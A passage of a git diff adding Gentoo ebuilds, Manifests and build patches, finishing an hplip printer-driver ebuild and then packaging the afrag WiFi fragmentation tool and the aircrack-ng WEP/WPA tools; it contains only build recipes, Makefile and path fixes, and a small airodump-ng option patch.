+			drv_build="${drv_build} --disable-foomatic-ppd-install"
+		fi
+	else
+		drv_build="${drv_build} --disable-hpijs-install"
+		drv_build="${drv_build} --disable-foomatic-drv-install"
+		drv_build="${drv_build} --disable-foomatic-ppd-install"
+	fi
+
+	if use minimal ; then
+		if use hpijs ; then
+			minimal_build="--enable-hpijs-only-build"
+		else
+			minimal_build="--disable-hpijs-only-build"
+		fi
+		if use hpcups ; then
+			minimal_build="${minimal_build} --enable-hpcups-only-build"
+		else
+			minimal_build="${minimal_build} --disable-hpcups-only-build"
+		fi
+	fi
+
+	econf \
+		--disable-cups11-build \
+		--disable-lite-build \
+		--disable-foomatic-rip-hplip-install \
+		--disable-shadow-build \
+		--disable-qt3 \
+		--disable-libusb01_build \
+		--disable-udev_sysfs_rules \
+		--disable-udev-acl-rules \
+		--with-cupsbackenddir=$(cups-config --serverbin)/backend \
+		--with-cupsfilterdir=$(cups-config --serverbin)/filter \
+		--with-docdir=/usr/share/doc/${PF} \
+		--with-htmldir=/usr/share/doc/${PF}/html \
+		${myconf} \
+		${drv_build} \
+		${minimal_build} \
+		$(use_enable doc doc-build) \
+		$(use_enable fax fax-build) \
+		$(use_enable parport pp-build) \
+		$(use_enable scanner scan-build) \
+		$(use_enable snmp network-build) \
+		$(use_enable qt4 gui-build) \
+		$(use_enable qt4) \
+		$(use_enable policykit)
+}
+
+src_install() {
+	default
+
+	# Installed by sane-backends
+	# Gentoo Bug: #201023
+	rm -f "${D}"/etc/sane.d/dll.conf || die
+
+	# bug 106035/259763
+	if ! use autostart || ! use qt4 ; then
+		rm -r "${D}"/usr/share/applications "${D}"/etc/xdg
+	fi
+
+	rm -f "${D}"/usr/share/doc/${PF}/{copyright,README_LIBJPG,COPYING} || die
+	rmdir --ignore-fail-on-non-empty "${D}"/usr/share/doc/${PF}/ || die
+
+	# Remove hal fdi files
+	rm -rf "${D}"/usr/share/hal || die
+
+	find "${D}" -name '*.la' -exec rm -rf {} + || die
+}
+
+pkg_postinst() {
+	use !minimal && python_mod_optimize /usr/share/${PN}
+	fdo-mime_desktop_database_update
+
+	elog "For more information on setting up your printer please take"
+	elog "a look at the hplip section of the gentoo printing guide:"
+	elog "http://www.gentoo.org/doc/en/printing-howto.xml"
+	elog
+	elog "Any user who wants to print must be in the lp group."
+}
+
+pkg_postrm() {
+	use !minimal && python_mod_cleanup /usr/share/${PN}
+	fdo-mime_desktop_database_update
+}
diff --git a/net-wireless/afrag/Manifest b/net-wireless/afrag/Manifest
new file mode 100644
index 00000000..eca9b3e5
--- /dev/null
+++ b/net-wireless/afrag/Manifest
@@ -0,0 +1,2 @@
+DIST afrag-0.1.tar.bz2 12061 RMD160 2b0e7c0a27c20d310b64e098b25ffb4fee05d21f SHA1 6b621c05f361e02d3d16b7e572b4851e111d3bbc SHA256 5c13746c36d6c7eed87a71fe797ecd32c882bfecf50e846623036bb7b1623eda
+EBUILD afrag-0.1.ebuild 510 RMD160 25f9559be934cb74652ff2609df043fff89ec64e SHA1 85235c6b7cb0016c53dbe855d21f774a19c1a2dc SHA256 3e4616a94aa734e9ffa5973c20a83c2ff0495dcb25fa865546820e1aa41f0114
diff --git a/net-wireless/afrag/afrag-0.1.ebuild b/net-wireless/afrag/afrag-0.1.ebuild
new file mode 100644
index 00000000..f03d95b5
--- /dev/null
+++ b/net-wireless/afrag/afrag-0.1.ebuild
@@ -0,0 +1,24 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+DESCRIPTION="Implementation of a WIFI Fragmentation attack"
+HOMEPAGE="http://homepages.tu-darmstadt.de/~p_larbig/wlan/"
+SRC_URI="http://homepages.tu-darmstadt.de/~p_larbig/wlan/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE=""
+
+DEPEND=""
+RDEPEND=""
+
+src_compile() {
+	gcc $CFLAGS -o ${PN} ${PN}.c
+}
+
+src_install() {
+	dobin ${PN} || die "install failed"
+	dodoc README
+}
diff --git a/net-wireless/aircrack-ng/Manifest b/net-wireless/aircrack-ng/Manifest
new file mode 100644
index 00000000..d5a9a8cb
--- /dev/null
+++ b/net-wireless/aircrack-ng/Manifest
@@ -0,0 +1,12 @@
+AUX aircrack-ng-1.1-respect_LDFLAGS.patch 3144 SHA256 543d8efee610cd32874abb0ebc7371619526613ed04fa70db35d1caf473efff8 SHA512 faaaa5b1733ce78b4461b34d33be5cca671259ebfd69a9211ef3a4e4b97f3c062edd11f9556ef88faa245db87c6da59048efd593fbf4d31f48917df218bba272 WHIRLPOOL 7562c4fec3b3f5479186c0f4c16af0df97c7196f6d0072120ce460b5ca044244b26a49b7a47f07ebd01e022fd0acffb8493e46cd4c5f74e0b6adc2bd4b577a1c
+AUX airdrop-ng-oui-path-fix.patch 742 SHA256 90b47ffd026369886ade93a2f51c2251cefcc0ea8610d559546d7b57b2ea94f2 SHA512 2d2591ebf554a74a4ab8c41f91986c1275b1e45688284880be1d8b172d2467db8fba45f1315db0607de4761dd515336c0ac8e8027e9060d926c39650825b9fb8 WHIRLPOOL 7f03c76edaefd15e5a815ff790b857173ff7fb4a35d77803c1feec69072b70c1e3483e41f2b23ce3c1b08b99d1a3c8cb0a0f8dab14084da6309e17612b24e38d
+AUX airodump-ng-oui-update-path-fix.patch 572 SHA256 07cc244595a511d601e9bd6655a2939751ff1a16892529db5210bc4484af1cc9 SHA512 b18d570c0092e88d90439c09bedfa5d36f14ed5348085189d98d58cdee81c8c14582c448b36ed16537dae96073df7bee0340220877d07fd2df081eef0069b068 WHIRLPOOL 368e1cf8e115a452ce649b6c87c53afe9306b2de53c340916f3fba73f766cb469795e30bf1d2a1990893258cf99c9ea3bd682f8f4b1f7aa93065277ed1828805
+AUX airodump-ng.ignore-negative-one.v4.patch 5705 SHA256 d77f676f0ccd83e1e192f78473ff77ea55be6b3c652e14921938cc3a79ac6a10 SHA512 7dda1dd122c28e8c8666cac4529f3c46b34f9a4408dea3c7f1ea9397f282b0b41f3c7685335ffac1d551e02d06aa5d8adfcfe2dc722ac829547dc64a6871bf12 WHIRLPOOL fe5dfd5f8f004849f2c1f3a140cbbf8b17e9facadacee32883d29140a0da322b44ce4ade7b3d431698212904e934a48fcd76caee5ba3be72d9532c4ef70af7a1
+AUX changeset_r1921_backport.diff 1941 SHA256 a4655b208358b62a710f84206a69a5b0bb2091aeb47d73adbf0b7e8cd5a30c46 SHA512 dd3822bc8abc359b925657b32e69f7653e3a4ce780ce416386f2a2f6ae27de64730bfd9817c8cd1dc2941d0bf4a127d742fdf75a9113be7466276830bc618d66 WHIRLPOOL 25446d8808569dc5f90d7454d42af9b65cc71d44f3c77cd416c2b2cb36fc3f3cdddfe3c11ebb2279442e13c9d11fca0fc2697f281437d8f1e1860eb0115d7886
+AUX diff-wpa-migration-mode-aircrack-ng.diff 25165 SHA256 d36f2380d83fbfcbc48698cfd6d08de5a82a5a624a5d9f9cc3dbaaf7b7731fd8 SHA512 4018fde3f2873aefdd58516efdc77a5d177dc45574d8db23111b9935df19e746baf764e3cbe675f05b9316310d35b72c9d262d971748de36958e95ffdac63cbc WHIRLPOOL 15c3b1e6574becc0753a2bd402a6968afbe557df4c90d317495c162fbdd06bfd4324caf89d95f94ed18b1d5a62052dd8ec0feee29db3ce3eb6749f9ab9d7f2cc
+AUX eapol_fix.patch 1014 SHA256 fcfaa1cfa75cbaac214ac3cb01b8401ff062f356acc75be39ea725fc42e10132 SHA512 53a2c66bc82c394647d00a0f179e1b78d25d249d4a196142b71fb3803533cf82b33c74a57bc219bf98eea64044129ab5d8adb9a883e0d4bfa74d0828a286413b WHIRLPOOL d0d349915331c84a78e896760c08f57b842e7e08c75e90736eb3aaae341217a1e0c8564230979a03c0abc9a1491aa1bd6451e2364dfe001047c5a735715aa0f4
+AUX ignore-channel-1-error.patch 2270 SHA256 aa2345b9ba7b59c79e54a5546f28398aaea4068c7030b520069e25f71cd029e4 SHA512 ab5f988316e9678b3040966f7041ae69a5afc2e41b762f76aa06fee8def0474703f5ebe006541f6066f896ea99ad8fe0b64063ad0a69012ed0d044e06b96473c WHIRLPOOL e6af56315b0fccdaadd0c74ff06a6446ace47950f6b2ce5862918b1dc48ba446935ca848bbc4a77fd31e148630033b22b0e16c14e6a176892d92c42a7451b9f2
+AUX pic-fix.patch 4838 SHA256 33d1693ec0cbea1933bdfcaa30a16bab2d566927a0c7eaf57cd7cb08886c4cba SHA512 54e068bbea0802196f2ca9e98ebe2aa85e28e359f9a1e6518e6869e95faa353404d28451caca3286ea4da48238e350c5a79b960c88b6c03fb32642e1ca5dfb21 WHIRLPOOL 1f3470a235a1014dd3bae14bed45baa06442fc45a343eb37f6b0cf19f14bfa64d053aceeac96797e8b280fca67710f2cfb19dc8ecbe219c6c412308b4bb099df
+DIST aircrack-ng-1.1.tar.gz 1453272 SHA256 b136b549b7d2a2751c21793100075ea43b28de9af4c1969508bb95bcc92224ad SHA512 e2246c3e5bb61a7294b8483ba7865a7da78c35c0444ded51e61076b1b15a1329c757de2828b6a23ab399a77c1c51949cb6833cfa2823c1f8819c8c12f7799270 WHIRLPOOL 37592c80250cb92ab0a1cf25beffffd3449434721068d586731c2669b10bf0ab2461ede664614e0286581a5ccd8e8721181c367d9774700c1c72ca8c640d2530
+EBUILD aircrack-ng-1.1-r6.ebuild 2372 SHA256 6adf4d9e4386edbfb4f36f00f1f42a43f55c3710e9e1e7534a60586f3ce03b49 SHA512 92bca8e8039cbe507062102b740991289705200c4795314c13f9dbf28aeae0c22e99fcbbe467481de25e7f33ef606775dee03f3fdc4215e8410af3fcf20adef2 WHIRLPOOL e5b0a37cfe37cde94ba1249f70c698370afcb5636ca059e6313cdf3c5bb364d5d49dff5a0b1fcd3961c9f9fd0140e7fde3bb9b7a6282d39e3c4a1c4072e6d42f
+EBUILD aircrack-ng-9999.ebuild 2443 SHA256 5e4f5a0613e9e0b4a670eacc39f7ac05cdb1d1206fec8d508f0d497fb698c988 SHA512 5a7a859e41f5468a137b9bf5d977e3ad1af30a6fe8704aec430ed2b39f4b8a45c8c932ef89fc290fd0d3f6a9f1b0cd21f22b336f4c9a7d0f02fb20e2f4499219 WHIRLPOOL dbb4262ca5e6b4e36395b50df04f872fa89544ee42c7d79f790568e32dd9db9103430211167ce0264a02bd037a83455ee50f78a36d5e7864834df94dc57025f5
diff --git a/net-wireless/aircrack-ng/aircrack-ng-1.1-r6.ebuild b/net-wireless/aircrack-ng/aircrack-ng-1.1-r6.ebuild
new file mode 100644
index 00000000..850618a7
--- /dev/null
+++ b/net-wireless/aircrack-ng/aircrack-ng-1.1-r6.ebuild
@@ -0,0 +1,82 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+
+inherit versionator
+
+MY_PV=$(replace_version_separator 2 '-')
+
+DESCRIPTION="WLAN tools for breaking 802.11 WEP/WPA keys"
+HOMEPAGE="http://www.aircrack-ng.org"
+SRC_URI="http://download.aircrack-ng.org/${PN}-${MY_PV}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="x86 amd64 arm"
+
+IUSE="kernel_linux kernel_FreeBSD +sqlite +unstable"
+
+DEPEND="dev-libs/openssl
+		sqlite? ( >=dev-db/sqlite-3.4 )"
+RDEPEND="${DEPEND}
+		kernel_linux? ( net-wireless/iw net-wireless/wireless-tools )"
+
+S="${WORKDIR}/${PN}-${MY_PV}"
+
+have_sqlite() {
+	use sqlite && echo "true" || echo "false"
+}
+
+have_unstable() {
+	use unstable && echo "true" || echo "false"
+}
+
+src_prepare() {
+	#backports
+	epatch "${FILESDIR}/${P}-respect_LDFLAGS.patch"
+	epatch "${FILESDIR}"/diff-wpa-migration-mode-aircrack-ng.diff
+	epatch "${FILESDIR}"/ignore-channel-1-error.patch
+	epatch "${FILESDIR}"/airodump-ng.ignore-negative-one.v4.patch
+	epatch "${FILESDIR}"/pic-fix.patch
+	epatch "${FILESDIR}"/changeset_r1921_backport.diff
+	epatch "${FILESDIR}"/eapol_fix.patch
+
+	#likely to stay after version bump
+	epatch "${FILESDIR}"/airodump-ng-oui-update-path-fix.patch
+}
+
+src_compile() {
+	emake -j1 CC="$(tc-getCC)" LD="$(tc-getLD)" sqlite=$(have_sqlite) unstable=$(have_unstable) || die "emake failed"
+}
+
+src_install() {
+	emake \
+		prefix="${EPREFIX}/usr" \
+		mandir="${EPREFIX}/usr/share/man/man1" \
+		DESTDIR="${ED}" \
+		sqlite=$(have_sqlite) \
+		unstable=$(have_unstable) \
+		install \
+		|| die "emake install failed"
+
+	dodoc AUTHORS ChangeLog INSTALLING README
+	dodir /etc/aircrack-ng/
+	wget http://standards.ieee.org/regauth/oui/oui.txt -O "${ED}"/etc/aircrack-ng/airodump-ng-oui.txt
+}
+
+pkg_postinst() {
+	# Message is (c) FreeBSD
+	# http://www.freebsd.org/cgi/cvsweb.cgi/ports/net-mgmt/aircrack-ng/files/pkg-message.in?rev=1.5
+	if use kernel_FreeBSD ; then
+		einfo "Contrary to Linux, it is not necessary to use airmon-ng to enable the monitor"
+		einfo "mode of your wireless card.  So do not care about what the manpages say about"
+		einfo "airmon-ng, airodump-ng sets monitor mode automatically."
+		echo
+		einfo "To return from monitor mode, issue the following command:"
+		einfo "    ifconfig \${INTERFACE} -mediaopt monitor"
+		einfo
+		einfo "For aireplay-ng you need FreeBSD >= 7.0."
+	fi
+}
diff --git a/net-wireless/aircrack-ng/aircrack-ng-9999.ebuild b/net-wireless/aircrack-ng/aircrack-ng-9999.ebuild
new file mode 100644
index 00000000..609975e0
--- /dev/null
+++ b/net-wireless/aircrack-ng/aircrack-ng-9999.ebuild
@@ -0,0 +1,90 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+
+inherit versionator subversion
+
+DESCRIPTION="WLAN tools for breaking 802.11 WEP/WPA keys"
+HOMEPAGE="http://www.aircrack-ng.org"
+ESVN_REPO_URI="http://trac.aircrack-ng.org/svn/trunk/"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS=""
+
+IUSE="+airdrop-ng +airgraph-ng kernel_linux kernel_FreeBSD netlink +sqlite +unstable"
+
+DEPEND="dev-libs/openssl
+	netlink? ( dev-libs/libnl:3 )
+	sqlite? ( >=dev-db/sqlite-3.4 )"
+RDEPEND="${DEPEND}
+	kernel_linux? (
+		net-wireless/iw
+		net-wireless/wireless-tools
+		sys-apps/ethtool
+		sys-apps/usbutils
+		sys-apps/pciutils )
+	airdrop-ng? ( net-wireless/lorcon[python] )"
+
+S="${WORKDIR}/${PN}"
+
+subversion_src_prepare() {
+	subversion_bootstrap || die "${ESVN}: unknown problem occurred in subversion_bootstrap."
+}
+
+src_unpack() {
+	subversion_src_unpack
+	dodir /usr/share/${PN}
+	wget http://standards.ieee.org/regauth/oui/oui.txt -O "${ED}"/usr/share/${PN}/airodump-ng-oui.txt
+}
+
+src_compile() {
+	emake \
+	CC="$(tc-getCC)" \
+	AR="$(tc-getAR)" \
+	LD="$(tc-getLD)" \
+	RANLIB="$(tc-getRANLIB)" \
+	libnl=$(usex netlink true false) \
+	sqlite=$(usex sqlite true false) \
+	unstable=$(usex unstable true false) \
+	REVFLAGS=-D_REVISION="${ESVN_WC_REVISION}"
+}
+
+src_install() {
+	emake \
+		prefix="${ED}/usr" \
+		libnl=$(usex netlink true false) \
+		sqlite=$(usex sqlite true false) \
+		unstable=$(usex unstable true false) \
+		REVFLAGS=-D_REVISION="${ESVN_WC_REVISION}" \
+		install
+
+	dodoc AUTHORS ChangeLog INSTALLING README
+
+	if use airgraph-ng; then
+		cd "${S}/scripts/airgraph-ng"
+		emake prefix="${ED}/usr" install
+	fi
+	if use airdrop-ng; then
+		cd "${S}/scripts/airdrop-ng"
+		emake prefix="${ED}/usr" install
+	fi
+}
+
+pkg_postinst() {
+	# Message is (c) FreeBSD
+	# http://www.freebsd.org/cgi/cvsweb.cgi/ports/net-mgmt/aircrack-ng/files/pkg-message.in?rev=1.5
+	if use kernel_FreeBSD ; then
+		einfo "Contrary to Linux, it is not necessary to use airmon-ng to enable the monitor"
+		einfo "mode of your wireless card.  So do not care about what the manpages say about"
+		einfo "airmon-ng, airodump-ng sets monitor mode automatically."
+		echo
+		einfo "To return from monitor mode, issue the following command:"
+		einfo "    ifconfig \${INTERFACE} -mediaopt monitor"
+		einfo
+		einfo "For aireplay-ng you need FreeBSD >= 7.0."
+	fi
+	einfo "Run 'airodump-ng-oui-update' as root to install or update OUI file"
+}
diff --git a/net-wireless/aircrack-ng/files/aircrack-ng-1.1-respect_LDFLAGS.patch b/net-wireless/aircrack-ng/files/aircrack-ng-1.1-respect_LDFLAGS.patch
new file mode 100644
index 00000000..b7358b3c
--- /dev/null
+++ b/net-wireless/aircrack-ng/files/aircrack-ng-1.1-respect_LDFLAGS.patch
@@ -0,0 +1,91 @@
+--- src/Makefile
++++ src/Makefile
+@@ -90,13 +90,13 @@
+ 
+ 
+ OSD		= osdep
+-LIBS		= -L$(OSD) -l$(OSD) $(LIBPCAP) $(LDFLAGS)
++LIBS		= -L$(OSD) -l$(OSD) $(LIBPCAP)
+ ifeq ($(OSNAME), cygwin)
+ LIBS		+= -liphlpapi -lsetupapi -luuid
+ endif
+ LIBOSD		= $(OSD)/lib$(OSD).a
+ 
+-LIBSSL		= -lssl -lcrypto $(LDFLAGS)
++LIBSSL		= -lssl -lcrypto
+ LIBSQL		=
+ ifeq ($(SQLITE), true)
+ 	LIBSQL		= -L/usr/local/lib -lsqlite3
+@@ -140,55 +140,55 @@
+ 	aircrack-ng-opt-prof -lpthread $(LIBSQL)
+ 
+ aircrack-ng$(EXE): $(OBJS_AC)
+-	$(CC) $(CFLAGS) $(OBJS_AC) $(ASM_AC) -o $(@) -lpthread $(LIBSSL) $(LIBSQL)
++	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AC) $(ASM_AC) -o $(@) -lpthread $(LIBSSL) $(LIBSQL)
+ 
+ airdecap-ng$(EXE): $(OBJS_AD)
+-	$(CC) $(CFLAGS) $(OBJS_AD) -o $(@) $(LIBSSL)
++	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AD) -o $(@) $(LIBSSL)
+ 
+ packetforge-ng$(EXE): $(OBJS_PF)
+-	$(CC) $(CFLAGS) $(OBJS_PF) -o $(@) $(LIBSSL)
++	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_PF) -o $(@) $(LIBSSL)
+ 
+ aireplay-ng$(EXE): $(OBJS_AR) $(LIBOSD)
+-	$(CC) $(CFLAGS) $(OBJS_AR) -o $(@) $(LIBS) $(LIBSSL)
++	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AR) -o $(@) $(LIBS) $(LIBSSL)
+ 
+ airodump-ng$(EXE): $(OBJS_ADU) $(LIBOSD)
+-	$(CC) $(CFLAGS) $(OBJS_ADU) -o $(@) $(LIBS) $(LIBSSL) -lpthread
++	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_ADU) -o $(@) $(LIBS) $(LIBSSL) -lpthread
+ 
+ airserv-ng$(EXE): $(OBJS_AS) $(LIBOSD)
+-	$(CC) $(CFLAGS) $(OBJS_AS) -o $(@) $(LIBS) $(LIBPCAP)
++	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AS) -o $(@) $(LIBS) $(LIBPCAP)
+ 
+ airtun-ng$(EXE): $(OBJS_AT) $(LIBOSD)
+-	$(CC) $(CFLAGS) $(OBJS_AT) -o $(@) $(LIBS) $(LIBSSL)
++	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AT) -o $(@) $(LIBS) $(LIBSSL)
+ 
+ ivstools$(EXE): $(OBJS_IV)
+-	$(CC) $(CFLAGS) $(OBJS_IV) -o $(@) $(LIBSSL)
++	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_IV) -o $(@) $(LIBSSL)
+ 
+ kstats$(EXE): kstats.o
+-	$(CC) $(CFLAGS) kstats.o -o $(@)
++	$(CC) $(CFLAGS) $(LDFLAGS) kstats.o -o $(@)
+ 
+ wesside-ng$(EXE): $(OBJS_WS) $(LIBOSD)
+-	$(CC) $(CFLAGS) $(OBJS_WS) -o $(@) $(LIBS) $(LIBSSL) -lz
++	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_WS) -o $(@) $(LIBS) $(LIBSSL) -lz
+ 
+ easside-ng$(EXE): $(OBJS_ES) $(LIBOSD)
+-	$(CC) $(CFLAGS) $(OBJS_ES) -o $(@) $(LIBS) -lz
++	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_ES) -o $(@) $(LIBS) -lz
+ 
+ buddy-ng$(EXE): $(OBJS_BUDDY)
+-	$(CC) $(CFLAGS) $(OBJS_BUDDY) -o $(@)
++	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_BUDDY) -o $(@)
+ 
+ makeivs-ng$(EXE): $(OBJS_MI)
+-	$(CC) $(CFLAGS) $(OBJS_MI) -o $(@)
++	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_MI) -o $(@)
+ 
+ airolib-ng$(EXE): $(OBJS_AL)
+-	$(CC) $(CFLAGS) $(OBJS_AL) -o $(@) $(LIBSSL) -DHAVE_REGEXP $(LIBSQL)
++	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AL) -o $(@) $(LIBSSL) -DHAVE_REGEXP $(LIBSQL)
+ 
+ airbase-ng$(EXE): $(OBJS_AB) $(LIBOSD)
+-	$(CC) $(CFLAGS) $(OBJS_AB) -o $(@) $(LIBS) $(LIBSSL) -lpthread
++	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AB) -o $(@) $(LIBS) $(LIBSSL) -lpthread
+ 
+ airdecloak-ng$(EXE): $(OBJS_AU)
+-	$(CC) $(CFLAGS) $(OBJS_AU) -o $(@)
++	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AU) -o $(@)
+ 
+ tkiptun-ng$(EXE): $(OBJS_TT) $(LIBOSD)
+-	$(CC) $(CFLAGS) $(OBJS_TT) -o $(@) $(LIBS) $(LIBSSL)
++	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_TT) -o $(@) $(LIBS) $(LIBSSL)
+ 
+ strip: $(BINFILES) $(SBINFILES)
+ 	strip $(BINFILES) $(SBINFILES)
diff --git a/net-wireless/aircrack-ng/files/airdrop-ng-oui-path-fix.patch b/net-wireless/aircrack-ng/files/airdrop-ng-oui-path-fix.patch
new file mode 100644
index 00000000..8b32a7f3
--- /dev/null
+++ b/net-wireless/aircrack-ng/files/airdrop-ng-oui-path-fix.patch
@@ -0,0 +1,13 @@
+Index: scripts/airdrop-ng/airdrop/libOuiParse.py
+===================================================================
+--- scripts/airdrop-ng/airdrop/libOuiParse.py	(revision 2109)
++++ scripts/airdrop-ng/airdrop/libOuiParse.py	(working copy)
+@@ -34,7 +34,7 @@
+ 		generate the two dictionaries and return them
+ 		"""
+ 		#a poor fix where if we have no file it trys to download it
+-		aircrackOUI = '/usr/local/etc/aircrack-ng/airodump-ng-oui.txt'
++		aircrackOUI = '/etc/aircrack-ng/airodump-ng-oui.txt'
+ 		self.ouiTxtUrl   = "http://standards.ieee.org/regauth/oui/oui.txt"
+ 		self.ouiUnPath   = install_dir#path to oui.txt if module is installed
+ 		self.ouiInPath   = install_dir + '/support/'         #path to oui.txt if module is not installed
diff --git a/net-wireless/aircrack-ng/files/airodump-ng-oui-update-path-fix.patch b/net-wireless/aircrack-ng/files/airodump-ng-oui-update-path-fix.patch
new file mode 100644
index 00000000..846f03da
--- /dev/null
+++ b/net-wireless/aircrack-ng/files/airodump-ng-oui-update-path-fix.patch
@@ -0,0 +1,12 @@
+diff -Naur aircrack-ng-1.1/scripts/airodump-ng-oui-update aircrack-ng-1.1-patched/scripts/airodump-ng-oui-update
+--- aircrack-ng-1.1/scripts/airodump-ng-oui-update	2009-08-07 16:53:15.000000000 -0400
++++ aircrack-ng-1.1-patched/scripts/airodump-ng-oui-update	2011-07-06 10:35:18.000000000 -0400
+@@ -4,7 +4,7 @@
+ WGET=`which wget 2>/dev/null`
+ OUI_DOWNLOAD_URL="http://standards.ieee.org/regauth/oui/oui.txt"
+ 
+-OUI_PATH="/usr/local/etc/aircrack-ng"
++OUI_PATH="/etc/aircrack-ng"
+ AIRODUMP_NG_OUI="${OUI_PATH}/airodump-ng-oui.txt"
+ OUI_IEEE="${OUI_PATH}/oui.txt"
+ USERID=""
diff --git a/net-wireless/aircrack-ng/files/airodump-ng.ignore-negative-one.v4.patch b/net-wireless/aircrack-ng/files/airodump-ng.ignore-negative-one.v4.patch
new file mode 100644
index 00000000..fd1df041
--- /dev/null
+++ b/net-wireless/aircrack-ng/files/airodump-ng.ignore-negative-one.v4.patch
@@ -0,0 +1,121 @@
+Index: src/airodump-ng.c
+===================================================================
+--- src/airodump-ng.c	(revision 1916)
++++ src/airodump-ng.c	(working copy)
+@@ -589,42 +589,44 @@
+ "  usage: airodump-ng <options> <interface>[,<interface>,...]\n"
+ "\n"
+ "  Options:\n"
+-"      --ivs               : Save only captured IVs\n"
+-"      --gpsd              : Use GPSd\n"
+-"      --write    <prefix> : Dump file prefix\n"
+-"      -w                  : same as --write \n"
+-"      --beacons           : Record all beacons in dump file\n"
+-"      --update     <secs> : Display update delay in seconds\n"
+-"      --showack           : Prints ack/cts/rts statistics\n"
+-"      -h                  : Hides known stations for --showack\n"
+-"      -f          <msecs> : Time in ms between hopping channels\n"
+-"      --berlin     <secs> : Time before removing the AP/client\n"
+-"                            from the screen when no more packets\n"
+-"                            are received (Default: 120 seconds)\n"
+-"      -r           <file> : Read packets from that file\n"
+-"      -x          <msecs> : Active Scanning Simulation\n"
++"      --ivs                 : Save only captured IVs\n"
++"      --gpsd                : Use GPSd\n"
++"      --write      <prefix> : Dump file prefix\n"
++"      -w                    : same as --write \n"
++"      --beacons             : Record all beacons in dump file\n"
++"      --update       <secs> : Display update delay in seconds\n"
++"      --showack             : Prints ack/cts/rts statistics\n"
++"      -h                    : Hides known stations for --showack\n"
++"      -f            <msecs> : Time in ms between hopping channels\n"
++"      --berlin       <secs> : Time before removing the AP/client\n"
++"                              from the screen when no more packets\n"
++"                              are received (Default: 120 seconds)\n"
++"      -r             <file> : Read packets from that file\n"
++"      -x            <msecs> : Active Scanning Simulation\n"
+ "      --output-format\n"
+-"                <formats> : Output format. Possible values:\n"
+-"                            pcap, ivs, csv, gps, kismet, netxml\n"
++"                  <formats> : Output format. Possible values:\n"
++"                              pcap, ivs, csv, gps, kismet, netxml\n"
++"      --ignore-negative-one : Removes the message that says\n"
++"                              fixed channel <interface>: -1\n"
+ "\n"
+ "  Filter options:\n"
+-"      --encrypt   <suite> : Filter APs by cipher suite\n"
+-"      --netmask <netmask> : Filter APs by mask\n"
+-"      --bssid     <bssid> : Filter APs by BSSID\n"
+-"      -a                  : Filter unassociated clients\n"
++"      --encrypt   <suite>   : Filter APs by cipher suite\n"
++"      --netmask <netmask>   : Filter APs by mask\n"
++"      --bssid     <bssid>   : Filter APs by BSSID\n"
++"      -a                    : Filter unassociated clients\n"
+ "\n"
+ "  By default, airodump-ng hop on 2.4GHz channels.\n"
+ "  You can make it capture on other/specific channel(s) by using:\n"
+-"      --channel <channels>: Capture on specific channels\n"
+-"      --band <abg>        : Band on which airodump-ng should hop\n"
+-"      -C    <frequencies> : Uses these frequencies in MHz to hop\n"
+-"      --cswitch  <method> : Set channel switching method\n"
+-"                    0     : FIFO (default)\n"
+-"                    1     : Round Robin\n"
+-"                    2     : Hop on last\n"
+-"      -s                  : same as --cswitch\n"
++"      --channel <channels>  : Capture on specific channels\n"
++"      --band <abg>          : Band on which airodump-ng should hop\n"
++"      -C    <frequencies>   : Uses these frequencies in MHz to hop\n"
++"      --cswitch  <method>   : Set channel switching method\n"
++"                    0       : FIFO (default)\n"
++"                    1       : Round Robin\n"
++"                    2       : Hop on last\n"
++"      -s                    : same as --cswitch\n"
+ "\n"
+-"      --help              : Displays this usage screen\n"
++"      --help                : Displays this usage screen\n"
+ "\n";
+ 
+ int is_filtered_netmask(uchar *bssid)
+@@ -5037,6 +5039,7 @@
+     for(i=0; i<cards; i++)
+     {
+         chan = wi_get_channel(wi[i]);
++        if(G.ignore_negative_one == 1 && chan==-1) return 0;
+         if(G.channel[i] != chan)
+         {
+             memset(G.message, '\x00', sizeof(G.message));
+@@ -5237,6 +5240,7 @@
+         {"showack",  0, 0, 'A'},
+         {"detect-anomaly", 0, 0, 'E'},
+         {"output-format",  1, 0, 'o'},
++        {"ignore-negative-one", 0, &G.ignore_negative_one, 1},
+         {0,          0, 0,  0 }
+     };
+ 
+Index: src/airodump-ng.h
+===================================================================
+--- src/airodump-ng.h	(revision 1916)
++++ src/airodump-ng.h	(working copy)
+@@ -418,6 +418,8 @@
+     pthread_mutex_t mx_sort;			 /* lock write access to ap LL   */
+     
+     uchar selected_bssid[6];	/* bssid that is selected */
++
++    int ignore_negative_one;
+ }
+ G;
+ 
+Index: manpages/airodump-ng.1
+===================================================================
+--- manpages/airodump-ng.1	(revision 1916)
++++ manpages/airodump-ng.1	(working copy)
+@@ -58,6 +58,9 @@
+ 'pcap' is for recording a capture in pcap format, 'ivs' is for ivs format (it is a shortcut for --ivs). 'csv' will create an airodump-ng CSV file, 'kismet' will create a kismet csv file and 'kismet-newcore' will create the kismet netxml file. 'gps' is a shortcut for --gps.
+ .br
+ Theses values can be combined with the exception of ivs and pcap.
++.TP
++.I --ignore-negative-one
++Removes the message that says 'fixed channel <interface>: -1'.
+ .PP
+ .B Filter options:
+ .TP
